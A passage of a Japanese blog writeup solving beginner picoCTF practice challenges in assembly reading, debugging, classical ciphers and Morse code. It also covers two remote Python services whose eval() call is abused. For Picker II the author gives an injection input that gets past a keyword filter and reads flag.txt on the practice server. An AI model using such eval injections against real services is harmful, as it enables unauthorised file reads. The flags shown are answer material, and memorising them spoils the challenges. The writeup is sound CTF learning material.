picoCTF picoGym Practice Challenges WriteUp その4

picoCTF よりpicoGym Practice ChallengesのWriteUp その4。

前記事が一定のボリュームに達したので、新記事を設けることにした。

解けた問題から順次WriteUpを追加していく予定。

※記事のボリュームが増えてきたので新記事を設けた。今後は新記事の方を更新予定。

過去のWriteUp記事の一覧はこちら

ASCII FTW (100points)

ELFファイルasciiftwを解析してフラグを取得する問題。

アセンブリを見るだけでフラグを取れた。

.text:0000000000001184 C6 45 D0 70             mov     [rbp+var_30], 70h ; 'p'
.text:0000000000001188 C6 45 D1 69             mov     [rbp+var_2F], 69h ; 'i'
.text:000000000000118C C6 45 D2 63             mov     [rbp+var_2E], 63h ; 'c'
.text:0000000000001190 C6 45 D3 6F             mov     [rbp+var_2D], 6Fh ; 'o'
.text:0000000000001194 C6 45 D4 43             mov     [rbp+var_2C], 43h ; 'C'
.text:0000000000001198 C6 45 D5 54             mov     [rbp+var_2B], 54h ; 'T'
.text:000000000000119C C6 45 D6 46             mov     [rbp+var_2A], 46h ; 'F'
.text:00000000000011A0 C6 45 D7 7B             mov     [rbp+var_29], 7Bh ; '{'
.text:00000000000011A4 C6 45 D8 41             mov     [rbp+var_28], 41h ; 'A'
.text:00000000000011A8 C6 45 D9 53             mov     [rbp+var_27], 53h ; 'S'
.text:00000000000011AC C6 45 DA 43             mov     [rbp+var_26], 43h ; 'C'
.text:00000000000011B0 C6 45 DB 49             mov     [rbp+var_25], 49h ; 'I'
.text:00000000000011B4 C6 45 DC 49             mov     [rbp+var_24], 49h ; 'I'
.text:00000000000011B8 C6 45 DD 5F             mov     [rbp+var_23], 5Fh ; '_'
.text:00000000000011BC C6 45 DE 49             mov     [rbp+var_22], 49h ; 'I'
.text:00000000000011C0 C6 45 DF 53             mov     [rbp+var_21], 53h ; 'S'
.text:00000000000011C4 C6 45 E0 5F             mov     [rbp+var_20], 5Fh ; '_'
.text:00000000000011C8 C6 45 E1 45             mov     [rbp+var_1F], 45h ; 'E'
.text:00000000000011CC C6 45 E2 41             mov     [rbp+var_1E], 41h ; 'A'
.text:00000000000011D0 C6 45 E3 53             mov     [rbp+var_1D], 53h ; 'S'
.text:00000000000011D4 C6 45 E4 59             mov     [rbp+var_1C], 59h ; 'Y'
.text:00000000000011D8 C6 45 E5 5F             mov     [rbp+var_1B], 5Fh ; '_'

Bit-O-Asm-1 (100points)

以下のアセンブリ命令を読んでeaxに格納される値を答える問題。

<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x4],edi
<+11>:    mov    QWORD PTR [rbp-0x10],rsi
<+15>:    mov    eax,0x30
<+20>:    pop    rbp
<+21>:    ret

eaxに格納される値は10進数で48。

>>> 0x30
48

Bit-O-Asm-2 (100points)

以下のアセンブリ命令を読んでeaxに格納される値を答える問題。

<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
<+22>:    mov    eax,DWORD PTR [rbp-0x4]
<+25>:    pop    rbp
<+26>:    ret

eaxに格納される値は10進数で654874。

>>> 0x9fe1a
654874

Bit-O-Asm-3 (100points)

以下のアセンブリ命令を読んでeaxに格納される値を答える問題。

<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0xc],0x9fe1a
<+22>:    mov    DWORD PTR [rbp-0x8],0x4
<+29>:    mov    eax,DWORD PTR [rbp-0xc]
<+32>:    imul   eax,DWORD PTR [rbp-0x8]
<+36>:    add    eax,0x1f5
<+41>:    mov    DWORD PTR [rbp-0x4],eax
<+44>:    mov    eax,DWORD PTR [rbp-0x4]
<+47>:    pop    rbp
<+48>:    ret

eaxに格納される値は10進数で2619997。

>>> (0x9fe1a * 0x4) + 0x1f5
2619997

Bit-O-Asm-4 (100points)

以下のアセンブリ命令を読んでeaxに格納される値を答える問題。

<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
<+22>:    cmp    DWORD PTR [rbp-0x4],0x2710
<+29>:    jle    0x55555555514e <main+37>
<+31>:    sub    DWORD PTR [rbp-0x4],0x65
<+35>:    jmp    0x555555555152 <main+41>
<+37>:    add    DWORD PTR [rbp-0x4],0x65
<+41>:    mov    eax,DWORD PTR [rbp-0x4]
<+44>:    pop    rbp
<+45>:    ret

以下は上記のアセンブリ命令の疑似コードである。

if (0x9fe1a <= 0x2710):
	eax = 0x9fe1a + 0x65
else:
	eax = 0x9fe1a - 0x65

eaxに格納される値は10進数で654773。

>>> 0x9fe1a - 0x65
654773

GDB baby step 1 (100points

ELFファイルdebugger0_aを解析してmain関数の完了後にeaxに格納される値を答える問題。

アセンブリを見るだけでフラグを取れた。

.text:0000000000001129 F3 0F 1E FA             endbr64
.text:000000000000112D 55                      push    rbp
.text:000000000000112E 48 89 E5                mov     rbp, rsp
.text:0000000000001131 89 7D FC                mov     [rbp+var_4], edi
.text:0000000000001134 48 89 75 F0             mov     [rbp+var_10], rsi
.text:0000000000001138 B8 42 63 08 00          mov     eax, 549698
.text:000000000000113D 5D                      pop     rbp

eaxに格納される値は10進数で549698 。

GDB baby step 2 (100points)

ELFファイルdebugger0_bを解析してmain関数の完了後にeaxに格納される値を答える問題。

アセンブリを見てみると、大して複雑な処理ではなかったので、デバッガは使わずに頭の体操がてら 処理をPythonコードに落とし込んでみた。

var_4 = 123098
var_c = 607
var_8 = 0

while (var_8 < var_c):
    var_4 = var_4 + var_8
    var_8 += 1

print(var_4)
$ python3 pseudo-code.py
307019

eaxに格納される値は10進数で307019。

GDB baby step 3 (100points)

ELFファイルdebugger0_cを解析してフラグを取得する問題。

debugger0_cのmain関数で0x2262c96bという値がメモリにロードされるが、この値がメモリ上でどのように配置されているか、GDBコマンド x/4xb addrを駆使して答えよとのこと。

x86のバイトオーダーはリトルエンディアンなので、0x2262c96bはメモリ上では0x6b 0xc9 0x62 0x22と配置される。よってフラグは0x6bc96222となる。

GDB baby step 4 (100points)

ELFファイルdebugger0_dを解析してフラグを取得する問題。

eaxの値と掛け算される定数を十進数で答えよとのこと。

以下は掛け算処理のアセンブリである。

.text:0000000000401106                         public func1
.text:0000000000401106                         func1 proc near
.text:0000000000401106
.text:0000000000401106                         var_4= dword ptr -4
.text:0000000000401106
.text:0000000000401106 F3 0F 1E FA             endbr64
.text:000000000040110A 55                      push    rbp
.text:000000000040110B 48 89 E5                mov     rbp, rsp
.text:000000000040110E 89 7D FC                mov     [rbp+var_4], edi
.text:0000000000401111 8B 45 FC                mov     eax, [rbp+var_4]
.text:0000000000401114 69 C0 69 32 00 00       imul    eax, 12905
.text:000000000040111A 5D                      pop     rbp
.text:000000000040111B C3                      retn
.text:000000000040111B                         func1 endp

eaxと12905が掛け算されている。

フラグは12905である。

Picker I (100points)

遠隔のサーバー上で実行されているプログラムを解析してフラグを取得する問題。

以下のnetcatコマンドでサーバーに接続する。(※サーバーのポート番号はインスタンスの起動のたびに変更される。)

nc saturn.picoctf.net 56539

また、プログラムのソースコードpicker-I.pyも一緒に渡された。


import sys



def getRandomNumber():
  print(4)  # Chosen by fair die roll.
            # Guaranteed to be random.
            # (See XKCD)

def exit():
  sys.exit(0)
  
def esoteric1():
  esoteric = \
  '''
  int query_apm_bios(void)
{
	struct biosregs ireg, oreg;

	/* APM BIOS installation check */
	initregs(&ireg);
	ireg.ah = 0x53;
	intcall(0x15, &ireg, &oreg);

	if (oreg.flags & X86_EFLAGS_CF)
		return -1;		/* No APM BIOS */

	if (oreg.bx != 0x504d)		/* "PM" signature */
		return -1;

	if (!(oreg.cx & 0x02))		/* 32 bits supported? */
		return -1;

	/* Disconnect first, just in case */
	ireg.al = 0x04;
	intcall(0x15, &ireg, NULL);

	/* 32-bit connect */
	ireg.al = 0x03;
	intcall(0x15, &ireg, &oreg);

	boot_params.apm_bios_info.cseg        = oreg.ax;
	boot_params.apm_bios_info.offset      = oreg.ebx;
	boot_params.apm_bios_info.cseg_16     = oreg.cx;
	boot_params.apm_bios_info.dseg        = oreg.dx;
	boot_params.apm_bios_info.cseg_len    = oreg.si;
	boot_params.apm_bios_info.cseg_16_len = oreg.hsi;
	boot_params.apm_bios_info.dseg_len    = oreg.di;

	if (oreg.flags & X86_EFLAGS_CF)
		return -1;

	/* Redo the installation check as the 32-bit connect;
	   some BIOSes return different flags this way... */

	ireg.al = 0x00;
	intcall(0x15, &ireg, &oreg);

	if ((oreg.eflags & X86_EFLAGS_CF) || oreg.bx != 0x504d) {
		/* Failure with 32-bit connect, try to disconnect and ignore */
		ireg.al = 0x04;
		intcall(0x15, &ireg, NULL);
		return -1;
	}

	boot_params.apm_bios_info.version = oreg.ax;
	boot_params.apm_bios_info.flags   = oreg.cx;
	return 0;
}
  '''
  print(esoteric)


def win():
  # This line will not work locally unless you create your own 'flag.txt' in
  #   the same directory as this script
  flag = open('flag.txt', 'r').read()
  #flag = flag[:-1]
  flag = flag.strip()
  str_flag = ''
  for c in flag:
    str_flag += str(hex(ord(c))) + ' '
  print(str_flag)
  
  
def esoteric2():
  esoteric = \
  '''
#include "boot.h"

#define MAX_8042_LOOPS	100000
#define MAX_8042_FF	32

static int empty_8042(void)
{
	u8 status;
	int loops = MAX_8042_LOOPS;
	int ffs   = MAX_8042_FF;

	while (loops--) {
		io_delay();

		status = inb(0x64);
		if (status == 0xff) {
			/* FF is a plausible, but very unlikely status */
			if (!--ffs)
				return -1; /* Assume no KBC present */
		}
		if (status & 1) {
			/* Read and discard input data */
			io_delay();
			(void)inb(0x60);
		} else if (!(status & 2)) {
			/* Buffers empty, finished! */
			return 0;
		}
	}

	return -1;
}

/* Returns nonzero if the A20 line is enabled.  The memory address
   used as a test is the int $0x80 vector, which should be safe. */

#define A20_TEST_ADDR	(4*0x80)
#define A20_TEST_SHORT  32
#define A20_TEST_LONG	2097152	/* 2^21 */

static int a20_test(int loops)
{
	int ok = 0;
	int saved, ctr;

	set_fs(0x0000);
	set_gs(0xffff);

	saved = ctr = rdfs32(A20_TEST_ADDR);

	while (loops--) {
		wrfs32(++ctr, A20_TEST_ADDR);
		io_delay();	/* Serialize and make delay constant */
		ok = rdgs32(A20_TEST_ADDR+0x10) ^ ctr;
		if (ok)
			break;
	}

	wrfs32(saved, A20_TEST_ADDR);
	return ok;
}

/* Quick test to see if A20 is already enabled */
static int a20_test_short(void)
{
	return a20_test(A20_TEST_SHORT);
}
  '''
  print(esoteric)


while(True):
  try:
    print('Try entering "getRandomNumber" without the double quotes...')
    user_input = input('==> ')
    eval(user_input + '()')
  except Exception as e:
    print(e)

win()という関数を実行すればflag.txtからフラグが読み取れるようである。

サーバーに接続するとgetRandomNumberと入力しろと言われる。入力するとgetRandomNumber()関数が実行されて、4と出力される。

$ nc saturn.picoctf.net 56539
Try entering "getRandomNumber" without the double quotes...
==> getRandomNumber
4
Try entering "getRandomNumber" without the double quotes...

どうやら関数名を入力すると、その関数が実行されて戻り値がサーバーのレスポンスとして返されるようである。

winと入力したところwin()関数が実行されてHexエンコードされたフラグが出力された。

Try entering "getRandomNumber" without the double quotes...
==> win
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x36 0x65 0x30 0x34 0x34 0x34 0x30 0x64 0x7d
Try entering "getRandomNumber" without the double quotes...

Hexデコードするとフラグを取れた。

$ echo 7069636f4354467b345f6431346d306e645f316e5f3768335f72307567685f36653034343430647d | xxd -r -p
picoCTF{4_d14m0nd_1n_7h3_r0ugh_<REDACTED>}

Picker II (100points)

遠隔のサーバー上で実行されているプログラムを解析してフラグを取得する問題。

以下のnetcatコマンドでサーバーに接続する。(※サーバーのポート番号はインスタンスの起動のたびに変更される。)

nc saturn.picoctf.net 52705

また、プログラムのソースコードpicker-II.pyも一緒に渡された。


import sys



def getRandomNumber():
  print(4)  # Chosen by fair die roll.
            # Guaranteed to be random.
            # (See XKCD)

def exit():
  sys.exit(0)
  
def esoteric1():
  esoteric = \
  '''
  int query_apm_bios(void)
{
	struct biosregs ireg, oreg;

	/* APM BIOS installation check */
	initregs(&ireg);
	ireg.ah = 0x53;
	intcall(0x15, &ireg, &oreg);

	if (oreg.flags & X86_EFLAGS_CF)
		return -1;		/* No APM BIOS */

	if (oreg.bx != 0x504d)		/* "PM" signature */
		return -1;

	if (!(oreg.cx & 0x02))		/* 32 bits supported? */
		return -1;

	/* Disconnect first, just in case */
	ireg.al = 0x04;
	intcall(0x15, &ireg, NULL);

	/* 32-bit connect */
	ireg.al = 0x03;
	intcall(0x15, &ireg, &oreg);

	boot_params.apm_bios_info.cseg        = oreg.ax;
	boot_params.apm_bios_info.offset      = oreg.ebx;
	boot_params.apm_bios_info.cseg_16     = oreg.cx;
	boot_params.apm_bios_info.dseg        = oreg.dx;
	boot_params.apm_bios_info.cseg_len    = oreg.si;
	boot_params.apm_bios_info.cseg_16_len = oreg.hsi;
	boot_params.apm_bios_info.dseg_len    = oreg.di;

	if (oreg.flags & X86_EFLAGS_CF)
		return -1;

	/* Redo the installation check as the 32-bit connect;
	   some BIOSes return different flags this way... */

	ireg.al = 0x00;
	intcall(0x15, &ireg, &oreg);

	if ((oreg.eflags & X86_EFLAGS_CF) || oreg.bx != 0x504d) {
		/* Failure with 32-bit connect, try to disconnect and ignore */
		ireg.al = 0x04;
		intcall(0x15, &ireg, NULL);
		return -1;
	}

	boot_params.apm_bios_info.version = oreg.ax;
	boot_params.apm_bios_info.flags   = oreg.cx;
	return 0;
}
  '''
  print(esoteric)


def win():
  # This line will not work locally unless you create your own 'flag.txt' in
  #   the same directory as this script
  flag = open('flag.txt', 'r').read()
  #flag = flag[:-1]
  flag = flag.strip()
  str_flag = ''
  for c in flag:
    str_flag += str(hex(ord(c))) + ' '
  print(str_flag)
  
  
def esoteric2():
  esoteric = \
  '''
#include "boot.h"

#define MAX_8042_LOOPS	100000
#define MAX_8042_FF	32

static int empty_8042(void)
{
	u8 status;
	int loops = MAX_8042_LOOPS;
	int ffs   = MAX_8042_FF;

	while (loops--) {
		io_delay();

		status = inb(0x64);
		if (status == 0xff) {
			/* FF is a plausible, but very unlikely status */
			if (!--ffs)
				return -1; /* Assume no KBC present */
		}
		if (status & 1) {
			/* Read and discard input data */
			io_delay();
			(void)inb(0x60);
		} else if (!(status & 2)) {
			/* Buffers empty, finished! */
			return 0;
		}
	}

	return -1;
}

/* Returns nonzero if the A20 line is enabled.  The memory address
   used as a test is the int $0x80 vector, which should be safe. */

#define A20_TEST_ADDR	(4*0x80)
#define A20_TEST_SHORT  32
#define A20_TEST_LONG	2097152	/* 2^21 */

static int a20_test(int loops)
{
	int ok = 0;
	int saved, ctr;

	set_fs(0x0000);
	set_gs(0xffff);

	saved = ctr = rdfs32(A20_TEST_ADDR);

	while (loops--) {
		wrfs32(++ctr, A20_TEST_ADDR);
		io_delay();	/* Serialize and make delay constant */
		ok = rdgs32(A20_TEST_ADDR+0x10) ^ ctr;
		if (ok)
			break;
	}

	wrfs32(saved, A20_TEST_ADDR);
	return ok;
}

/* Quick test to see if A20 is already enabled */
static int a20_test_short(void)
{
	return a20_test(A20_TEST_SHORT);
}
  '''
  print(esoteric)


def filter(user_input):
  if 'win' in user_input:
    return False
  return True


while(True):
  try:
    user_input = input('==> ')
    if( filter(user_input) ):
      eval(user_input + '()')
    else:
      print('Illegal input')
  except Exception as e:
    print(e)

win()という関数の中でflag.txtからフラグを読み出しているのが分かる。

基本的にはPicker Iと同じだが、filter()という関数が追加されており、ユーザーの入力にwinという文字列が含まれていた場合、入力が弾かれてしまいwin()関数を実行できない。

$ nc saturn.picoctf.net 56505
==> win
Illegal input
==>

ただし、Picker I 同様、このプログラムにはOSコマンド・インジェクションの脆弱性があり、ユーザーは任意のPythonコマンドを実行することが出来る。以下が該当の脆弱なコード部分である。

eval(user_input + '()')

以下のPythonコマンドを入力することでフラグを取ることが出来た。

print(open('flag.txt', 'r').read())
$ nc saturn.picoctf.net 52705
==> print(open('flag.txt', 'r').read())
picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_<REDACTED>}
'NoneType' object is not callable

substitution0 (100points)

暗号化されたメッセージmessage.txtを復号してフラグを取得する問題。

以下、message.txtの内容。

OHNFUMWSVZLXEGCPTAJDYIRKQB 

Suauypcg Xuwaogf oacju, rvds o waoiu ogf jdoduxq ova, ogf hacywsd eu dsu huudxu
mace o wxojj noju vg rsvns vd roj ugnxcjuf. Vd roj o huoydvmyx jnoaohouyj, ogf, od
dsod dveu, yglgcrg dc godyaoxvjdj—cm ncyaju o wauod pavbu vg o jnvugdvmvn pcvgd
cm ivur. Dsuau ruau drc acygf hxonl jpcdj guoa cgu ukdauevdq cm dsu honl, ogf o
xcgw cgu guoa dsu cdsua. Dsu jnoxuj ruau uknuufvgwxq soaf ogf wxcjjq, rvds oxx dsu
oppuoaognu cm hyagvjsuf wcxf. Dsu ruvwsd cm dsu vgjund roj iuaq aueoalohxu, ogf,
dolvgw oxx dsvgwj vgdc ncgjvfuaodvcg, V ncyxf soafxq hxoeu Zypvdua mca svj cpvgvcg
aujpundvgw vd.

Dsu mxow vj: pvncNDM{5YH5717Y710G_3I0XY710G_03055505}

メッセージ冒頭のOHNFUMWSVZLXEGCPTAJDYIRKQBが換字表となる。

以下のワンライナーでフラグを取れた。

echo "pvncNDM{5YH5717Y710G_3I0XY710G_03055505}" | tr "OHNFUMWSVZLXEGCPTAJDYIRKQB" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" | tr "ohnfumwsvzlxegcptajdyirkqb" "abcdefghijklmnopqrstuvwxyz"
0$ echo "pvncNDM{5YH5717Y710G_3I0XY710G_03055505}" | tr "OHNFUMWSVZLXEGCPTAJDYIRKQB" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" | tr "ohnfumwsvzlxegcptajdyirkqb" "abcdefghijklmnopqrstuvwxyz"
picoCTF{5UB5717U710N_3V0LU710N_<REDACTED>}

ちなみに以下は復号したmessage.txtの全文。

$ cat message.txt | tr "OHNFUMWSVZLXEGCPTAJDYIRKQB" "ABCDEF
GHIJKLMNOPQRSTUVWXYZ" | tr "ohnfumwsvzlxegcptajdyirkqb" "abcdefghijklmnopqrstuvwxyz"
ABCDEFGHIJKLMNOPQRSTUVWXYZ

Hereupon Legrand arose, with a grave and stately air, and brought me the beetle
from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
that time, unknown to naturalists—of course a great prize in a scientific point
of view. There were two round black spots near one extremity of the back, and a
long one near the other. The scales were exceedingly hard and glossy, with all the
appearance of burnished gold. The weight of the insect was very remarkable, and,
taking all things into consideration, I could hardly blame Jupiter for his opinion
respecting it.

The flag is: picoCTF{5UB5717U710N_3V0LU710N_<REDACTED>}

substitution1 (100points)

暗号化されたメッセージmessage.txtを復号してフラグを取得する問題。

後述するが、正直問題がイケてない気がした。

以下、message.txtの内容。

ZWDg (gejfw djf zacwpfx wex dqar) afx a wscx jd zjicpwxf gxzpfbws zjicxwbwbjv. Zjvwxgwavwg afx cfxgxvwxm hbwe a gxw jd zeaqqxvrxg hebze wxgw wexbf zfxawbybws, wxzevbzaq (avm rjjrqbvr) gnbqqg, avm cfjtqxi-gjqybvr atbqbws. Zeaqqxvrxg pgpaqqs zjyxf a vpitxf jd zawxrjfbxg, avm hexv gjqyxm, xaze sbxqmg a gwfbvr (zaqqxm a dqar) hebze bg gptibwwxm wj av jvqbvx gzjfbvr gxfybzx. ZWDg afx a rfxaw has wj qxafv a hbmx affas jd zjicpwxf gxzpfbws gnbqqg bv a gadx, qxraq xvybfjvixvw, avm afx ejgwxm avm cqasxm ts iavs gxzpfbws rfjpcg afjpvm wex hjfqm djf dpv avm cfazwbzx. Djf webg cfjtqxi, wex dqar bg: cbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}

substitution0と同様に換字式暗号と思われる。

メッセージの最後の方に暗号化されたフラグcbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}を確認できた。

フラグは常にpicoCTFという文字から始まるので、とりあえずtr "cbzj" "pico" | tr "ZWD" "CTF"でメッセージを変換してみた。

$ cat message.txt | tr "cbzj" "pico" | tr "ZWD" "CTF"
CTFg (geofw dof capwpfx wex dqar) afx a wspx od coippwxf gxcpfiws coipxwiwiov. Covwxgwavwg afx pfxgxvwxm hiwe a gxw od ceaqqxvrxg heice wxgw wexif cfxawiyiws, wxcevicaq (avm roorqivr) gniqqg, avm pfotqxi-goqyivr atiqiws. Ceaqqxvrxg pgpaqqs coyxf a vpitxf od cawxrofixg, avm hexv goqyxm, xace sixqmg a gwfivr (caqqxm a dqar) heice ig gptiiwwxm wo av ovqivx gcofivr gxfyicx. CTFg afx a rfxaw has wo qxafv a himx affas od coippwxf gxcpfiws gniqqg iv a gadx, qxraq xvyifovixvw, avm afx eogwxm avm pqasxm ts iavs gxcpfiws rfoppg afopvm wex hofqm dof dpv avm pfacwicx. Fof weig pfotqxi, wex dqar ig: picoCTF{FF3LP3VCS_4774CN5_4F3_C001_4871X6FT}

cbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}picoCTF{FF3LP3VCS_4774CN5_4F3_C001_4871X6FT}に変換されたが、これは正しいフラグではなかった。
どうやら、もう少し文字の変換パターンを調べる必要がありそう。

地道に頻度解析を行い、暗号文をあらかた復号することが出来た。

cat message.txt | tr "cbzjgefwdxqipvhnmtysr" "picoshrtfelmunwkdbvyg" | tr "ZWDGEFXQIPVHNMTYS" "CTFSHRELMUNWKDBVY"
$ cat message.txt | tr "cbzjgefwdxqipvhnmtysr" "picoshrtfelmunwkdbvyg" | tr "ZWDGEFXQIPVHNMTYS" "CTFSHRELMUNWKDBVY"
CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is: picoCTF{FR3LU3NCY_4774CK5_4R3_C001_4871E6FB}

しかし、復号されたpicoCTF{FR3LU3NCY_4774CK5_4R3_C001_4871E6FB}は正しいフラグではなかった。

正直もうこれ以上復号のしようがないと思ったので、ヒントを見てみた。

以下、ヒント。

Try a frequency attack

このヒントを見て、フラグの中に含まれていたLQに変えてみたところ、フラグが通った。

picoCTF{FR3LU3NCY_4774CK5_4R3_C001_4871E6FB}picoCTF{FR3QU3NCY_4774CK5_4R3_C001_4871E6FB}
(FR3LU3NCYFR3QU3NCY)

しかしながら、大文字のLは元の暗号文の中では一回しか出てこない。(小文字のlに至っては、暗号文の中に登場すらしない)
以下はLが唯一含まれていた部分である。

cbzjZWD{DF3LP3VZS_4774ZN5_4F3_Z001_4871X6DT}

なので、頻度解析をしたところでLQに変換するという解答に至るのは難しいような気がする。。。

substitution2 (100points)

暗号化されたメッセージmessage.txtを復号してフラグを取得する問題。

以下、message.txtの内容。

nafyffoxenefufytpqnafymfppfentkpxeafbaxraezaqqpzqgswnfyefzwyxnhzqgsfnxnxqlexlzpwbxlrzhkfystnyxqntlbwezhkfyzatppflrfnafefzqgsfnxnxqlevqzwesyxgtyxphqlehenfgetbgxlxenytnxqlvwlbtgflntpemaxzatyfufyhwefvwptlbgtycfntkpfecxppeaqmfufymfkfpxfufnafsyqsfyswysqefqvtaxraezaqqpzqgswnfyefzwyxnhzqgsfnxnxqlxelqnqlphnqnftzautpwtkpfecxppekwntpeqnqrfnenwbflnexlnfyfenfbxltlbfozxnfbtkqwnzqgswnfyezxflzfbfvflexufzqgsfnxnxqletyfqvnflptkqyxqwetvvtxyetlbzqgfbqmlnqywllxlrzafzcpxenetlbfofzwnxlrzqlvxrezyxsneqvvflefqlnafqnafyatlbxeaftuxphvqzwefbqlfospqytnxqltlbxgsyquxetnxqltlbqvnflatefpfgflneqvspthmfkfpxfuftzqgsfnxnxqlnqwzaxlrqlnafqvvflexuffpfgflneqvzqgswnfyefzwyxnhxenafyfvqyftkfnnfyufaxzpfvqynfzafutlrfpxegnqenwbflnexltgfyxztlaxraezaqqpevwynafymfkfpxfufnatntlwlbfyentlbxlrqvqvvflexufnfzalxiwfexefeeflnxtpvqygqwlnxlrtlfvvfznxufbfvfleftlbnatnnafnqqpetlbzqlvxrwytnxqlvqzweflzqwlnfyfbxlbfvflexufzqgsfnxnxqlebqfelqnpftbenwbflnenqclqmnafxyflfghtefvvfznxufphtenftzaxlrnafgnqtznxufphnaxlcpxcftltnntzcfysxzqznvxetlqvvflexufphqyxflnfbaxraezaqqpzqgswnfyefzwyxnhzqgsfnxnxqlnatneffcenqrflfytnfxlnfyfenxlzqgswnfyezxflzftgqlraxraezaqqpfyenftzaxlrnafgflqwratkqwnzqgswnfyefzwyxnhnqsxiwfnafxyzwyxqexnhgqnxutnxlrnafgnqfospqyfqlnafxyqmltlbfltkpxlrnafgnqkfnnfybfvflbnafxygtzaxlfenafvptrxesxzqZNV{L6Y4G_4L41H515_15_73B10W5_8F1KV808}

換字式暗号と思われるが、substitution0substitution1と異なり、空白や句読点が一切ない。

地道に頻度解析を行った。(フラグは常にpicoCTFという文字から始まるとか、substitution0substitution1と同様、the flag is: <flag> の一文が入っているはず~とか)

以下のコマンドでmessage.txtを復号してフラグを取ることが出来た。

cat message.txt | tr 'sxzqnvfeptralugcywhbkmoi' 'picotfeslaghnvmkruydbwxq' | tr 'SXZQNVFEPTRALUGCYWHBKMOI' 'PICOTFESLAGHNVMKRUYDBWXQ'
$ cat message.txt | tr 'sxzqnvfeptralugcywhbkmoi' 'picotfeslaghnvmkruydbwxq' | tr 'SXZQNVFEPTRALUGCYWHBKMOI' 'PICOTFESLAGHNVMKRUYDBWXQ'
thereexistseveralotherwellestablishedhighschoolcomputersecuritycompetitionsincludingcyberpatriotanduscyberchallengethesecompetitionsfocusprimarilyonsystemsadministrationfundamentalswhichareveryusefulandmarketableskillshoweverwebelievetheproperpurposeofahighschoolcomputersecuritycompetitionisnotonlytoteachvaluableskillsbutalsotogetstudentsinterestedinandexcitedaboutcomputersciencedefensivecompetitionsareoftenlaboriousaffairsandcomedowntorunningchecklistsandexecutingconfigscriptsoffenseontheotherhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetitiontouchingontheoffensiveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudentsinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetechniquesisessentialformountinganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotleadstudentstoknowtheirenemyaseffectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensivelyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincomputerscienceamonghighschoolersteachingthemenoughaboutcomputersecuritytopiquetheircuriositymotivatingthemtoexploreontheirownandenablingthemtobetterdefendtheirmachinestheflagispicoCTF{N6R4M_4N41Y515_15_73D10U5_<REDACTED>}

ちなみに以下は上記のメッセージに空白を追加したもの。

there exist several other well established high school computer security competitions including cyber patriot and us cyber challenge these competitions focus primarily on systems administration fundamentals which are very useful and marketable skills however we believe the proper purpose of a high school computer security competition is not only to teach valuable skills but also to get students interested in and excited about computer science defensive competitions are often laborious affairs and come down to running check lists and executing config scripts offense on the other hand is heavily focused on exploration and improvisation and often has elements of play we believe a competition touching on the offensive elements of computer security is therefore a better vehicle for tech evangelism to students in american high schools further we believe that an understanding of offensive techniques is essential for mounting an effective defense and that the tools and configuration focus encountered in defensive competitions does not lead students to know their enemy as effectively as teaching them to actively think like an attacker picoctf is an offensively oriented high school computer security competition that seeks to generate interest in computer science among high schoolers teaching them enough about computer security to pique their curiosity motivating them to explore on their own and enabling them to better defend their machines the flag is picoCTF{N6R4M_4N41Y515_15_73D10U5_<REDACTED>}

Vigenere (100points)

ヴィジュネル暗号化されたフラグrgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_cc82272b}を復号する問題。鍵はCYLAB

CyberChefのVigenère Decodeを利用して復号した。

transposition-trial (100points)

message.txtを解析してフラグを取得する問題。

以下、message.txtの中身。

heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V9AAB1F8}7

3文字ごとに、1文字目と3文字目が入れ替わっている。

heTThe

fl fl

g aa g

以下のスクリプトを書いてフラグを取得した。

corrupted_flag = 'heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V9AAB1F8}7'
# swap the 1st letter and the 3rd letter every 3 bytes.
for i in range(0, len(corrupted_flag)):
    if((i+1) % 3 == 0):
        decrypted_flag = corrupted_flag[i]
        decrypted_flag += corrupted_flag[i-2]
        decrypted_flag += corrupted_flag[i-1]
        print(decrypted_flag, end="")
$ python3 decryptor.py
The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_<REDACTED>}

morse-code (100points)

モールス信号が録音されたファイルmorse_chal.wavを解析してフラグを取得する問題。

アルファベットは小文字に直し、文字の切れ目はアンダースコアに変換せよとのこと。

こちらのサイトに音声ファイルをアップロードしてフラグを取得した。

rail-fence (100points)

rail fence 暗号化された以下のメッセージを復号してフラグを取得する問題。

